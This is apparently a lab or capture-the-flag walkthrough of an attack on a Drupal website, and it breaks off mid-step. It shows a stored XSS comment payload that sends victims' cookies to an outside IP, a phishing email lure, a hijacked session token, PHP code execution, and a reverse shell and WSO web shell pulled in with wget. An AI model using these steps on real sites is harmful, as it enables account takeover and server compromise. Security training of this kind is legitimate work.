  1. Checking the website (View source, create a new account, buttons etc...)
    * insert a script to the search box and check the source (the script is filtered).
    * find more information about the system via source code.
    * The application is base on Drupal System (theme is /themes/algaglas).
    * Retrieved x-powered-by header: PHP/5.1.6 so
    check the check phpinfo.
    * Create a new user, log in and look after new options:
    * All the users have an ID (The first is Admin).
    * All the pages have an ID (Hidden Page has 28).
    * There are only 2 users who wrote articles in the website:
    (Barbara from marketing and Steave from Executives).
  2. XSS
    * add a command.
    * add a command with an alert <script>alert()</script>
    (Working!)
    * The website has Users that mean we can get a cookie of someone else with higher permissions than me. I prefer Steve because he has higher position.
    * paste a comment with script in one of his articles and wait:
    <script>new Image().src="http://172.16.3.3:1234/a.php?cookie="+encodeURI(document.cookie);</script>


* There is a contact option; we can send emails to other users, ask them to visit in the page, check our social engineering skills :) and take their session.
* send an email to Steave and wait:
hello steve my name is lior i dont understand what you wrote in line number 5 in this article please check and let me know
Thanks

* The SSED of Steve is SESS86615d91cc2c2a92d23dfb632b363094=fi9ptbbvdc17iaprlchiajeqt7

We logged in as Steve :)

* Now, I will add admin Privileges to my user! No need cookies anymore :)
* Check the website with higher permissions.
* In every page there is an option to change the input format, change to php.


* insert a php code and check the page: (Working!)
<?php
phpinfo()
?>



* insert a php reverse shell code and web application shell code (wso).
* in the php reverse shell I don’t have enough permissions, keep going with wso.





* The wso is working writable but there is no option to upload files, so we need to download the web application shell code direcltly to the local machine.
Cd to the file use SimpleHTTPServer and use wget to download it to a writeable place. Run the file.

There is a note: To install to a different database, edit the appropriate settings.php file in the sites folder.


* Now, we have more permissions.
Search in Google what is the configuration file of Drupal and find him:
